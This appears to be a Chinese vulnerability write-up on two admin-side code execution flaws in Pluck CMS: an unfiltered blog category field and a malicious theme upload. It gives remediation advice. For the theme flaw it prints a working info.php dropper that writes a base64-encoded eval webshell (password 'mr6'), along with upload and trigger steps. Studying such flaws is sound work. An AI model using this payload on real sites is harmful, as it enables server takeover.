Pluck CMS后台另两处任意代码执行
字数 987 2025-08-26 22:11:28

Pluck CMS后台两处任意代码执行漏洞分析

漏洞概述

本文档详细分析Pluck CMS后台存在的两处任意代码执行漏洞,包括漏洞原理、利用方法和修复建议。

第一处漏洞:过滤不严导致单引号逃逸

漏洞位置

function.php文件中的blog_save_post()函数

漏洞分析

  1. 函数参数中$category变量未经过滤直接存入$data数组
  2. 其他变量如$title$content都经过了sanitizesanitizePageContent过滤
  3. $post_time不可控,$category可控
  4. 最终数据通过save_file()函数保存到.php文件中

漏洞利用

  1. 构造恶意$category参数,包含PHP代码
  2. 当该数据被写入PHP文件并包含执行时,可实现代码执行

利用条件

需要后台权限,能够访问博客文章编辑功能

第二处漏洞:安装模板+文件包含导致任意命令执行

漏洞位置

  1. 主题上传功能
  2. data/inc/theme.phpfunctions.all.php中的主题处理逻辑

漏洞分析

  1. 系统允许上传ZIP格式的主题包
  2. 上传的主题会被解压到data/themes/目录
  3. 系统会遍历data/themes/下所有主题目录,包含其中的info.php文件
  4. info.php内容完全可控,导致任意代码执行

漏洞利用步骤

  1. 准备恶意info.php文件,内容为:
<?php
file_put_contents('x.php',base64_decode('PD9waHAgQGV2YWwoJF9HRVRbJ21yNiddKTs/Pg=='));
?>
  1. info.php打包为shell.zip
  2. 在后台上传并安装该主题
  3. 访问主题页面触发文件包含
  4. 系统根目录下会生成一句话木马x.php,密码为mr6

利用条件

需要后台权限,能够访问主题管理功能

修复建议

第一处漏洞修复

  1. $category参数进行严格过滤
  2. 使用htmlspecialchars或类似函数处理用户输入
  3. 避免将未过滤的用户输入直接写入可执行文件

第二处漏洞修复

  1. 对上传的ZIP文件进行严格校验
  2. 限制info.php文件的执行权限
  3. 对包含的文件路径进行白名单校验
  4. 禁止包含用户上传的文件

总结

这两处漏洞都要求攻击者具有后台权限,属于后台任意代码执行漏洞。开发人员应当对所有用户输入进行严格过滤,特别是那些最终会被写入可执行文件或包含执行的输入。同时,文件上传功能应当有更严格的限制和检查机制。

Pluck CMS后台两处任意代码执行漏洞分析 漏洞概述 本文档详细分析Pluck CMS后台存在的两处任意代码执行漏洞,包括漏洞原理、利用方法和修复建议。 第一处漏洞:过滤不严导致单引号逃逸 漏洞位置 function.php 文件中的 blog_save_post() 函数 漏洞分析 函数参数中 $category 变量未经过滤直接存入 $data 数组 其他变量如 $title 和 $content 都经过了 sanitize 或 sanitizePageContent 过滤 $post_time 不可控, $category 可控 最终数据通过 save_file() 函数保存到 .php 文件中 漏洞利用 构造恶意 $category 参数,包含PHP代码 当该数据被写入PHP文件并包含执行时,可实现代码执行 利用条件 需要后台权限,能够访问博客文章编辑功能 第二处漏洞:安装模板+文件包含导致任意命令执行 漏洞位置 主题上传功能 data/inc/theme.php 和 functions.all.php 中的主题处理逻辑 漏洞分析 系统允许上传ZIP格式的主题包 上传的主题会被解压到 data/themes/ 目录 系统会遍历 data/themes/ 下所有主题目录,包含其中的 info.php 文件 info.php 内容完全可控,导致任意代码执行 漏洞利用步骤 准备恶意 info.php 文件,内容为: 将 info.php 打包为 shell.zip 在后台上传并安装该主题 访问主题页面触发文件包含 系统根目录下会生成一句话木马 x.php ,密码为 mr6 利用条件 需要后台权限,能够访问主题管理功能 修复建议 第一处漏洞修复 对 $category 参数进行严格过滤 使用 htmlspecialchars 或类似函数处理用户输入 避免将未过滤的用户输入直接写入可执行文件 第二处漏洞修复 对上传的ZIP文件进行严格校验 限制 info.php 文件的执行权限 对包含的文件路径进行白名单校验 禁止包含用户上传的文件 总结 这两处漏洞都要求攻击者具有后台权限,属于后台任意代码执行漏洞。开发人员应当对所有用户输入进行严格过滤,特别是那些最终会被写入可执行文件或包含执行的输入。同时,文件上传功能应当有更严格的限制和检查机制。